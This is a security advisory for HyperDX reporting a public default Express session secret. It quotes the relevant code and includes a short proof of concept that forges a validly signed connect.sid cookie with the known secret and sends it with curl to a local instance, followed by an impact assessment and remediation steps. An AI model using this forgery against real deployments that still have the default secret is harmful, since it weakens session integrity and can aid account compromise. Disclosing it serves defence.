HyperDX Uses a Public Default Express Session Secret
HyperDX Uses a Public Default Express Session Secret
Summary
HyperDX uses the public value hyperdx is cool when
EXPRESS_SESSION_SECRET is not configured:
const DEFAULT_EXPRESS_SESSION = 'hyperdx is cool ';
export const EXPRESS_SESSION_SECRET = (env.EXPRESS_SESSION_SECRET ||
DEFAULT_EXPRESS_SESSION) as string;The value is used as the signing secret for the express-session cookie:
const sess = {
// ...
secret: config.EXPRESS_SESSION_SECRET,
store: new MongoStore({ mongoUrl: config.MONGO_URI }),
};
app.use(session(sess));Anyone who knows the public source can generate valid signatures for arbitrary
connect.sid values. This weakens the integrity protection of the session
cookie.
Authentication flow
The Session Cookie carries a Session ID. HyperDX stores the Passport user identifier in the corresponding server-side session, and Passport later loads the user from MongoDB:
passport.serializeUser(function (user, done) {
done(null, (user as any)._id);
});
passport.deserializeUser(function (id, done) {
findUserById(id).then(user => {
if (user == null) return done(null, false);
done(null, user);
});
});Protected routes rely on req.isAuthenticated():
if (req.isAuthenticated()) {
return next();
}
res.sendStatus(401);Proof of concept
Run this only against a local HyperDX test instance. The following creates a correctly signed cookie for an attacker-chosen session ID:
const signature = require('cookie-signature');
const sessionId = 'attacker-chosen-session-id';
const signed = `s:${sessionId}.${signature.sign(
sessionId,
'hyperdx is cool ',
)}`;
console.log(encodeURIComponent(signed));Send the result to a protected API route:
curl -i \
-H 'Cookie: connect.sid=<url-encoded-signed-cookie>' \
http://127.0.0.1:8000/meExpected result: 401 Unauthorized. The cookie signature is valid, but the
chosen session ID has no corresponding authenticated session in MongoDB.
As a positive control, log in to the local test instance, retain the returned
connect.sid cookie, and request /me. The request succeeds because Passport
can recover the user from the server-side session.
Impact
The default hyperdx is cool secret allows an attacker to sign arbitrary
session-cookie values without knowing the deployment secret.
The secret alone does not prove arbitrary user impersonation in the current flow. A successful impersonation would additionally require a session-state weakness, such as disclosure or fixation of a valid session ID, or the ability to create or modify the referenced MongoDB session.
The issue is directly exploitable in deployments that omit
EXPRESS_SESSION_SECRET and also expose one of those session-state
conditions. Otherwise, the demonstrated impact is the use of a public default
for a production authentication secret.
Remediation
- Remove
hyperdx is coolas the fallback in authenticated deployments. - Require a deployment-specific high-entropy
EXPRESS_SESSION_SECRET. - Fail closed at startup when the secret is missing or equals the public placeholder.
- Rotate the secret and invalidate existing sessions after applying the fix.
Source: hyperdxio/hyperdx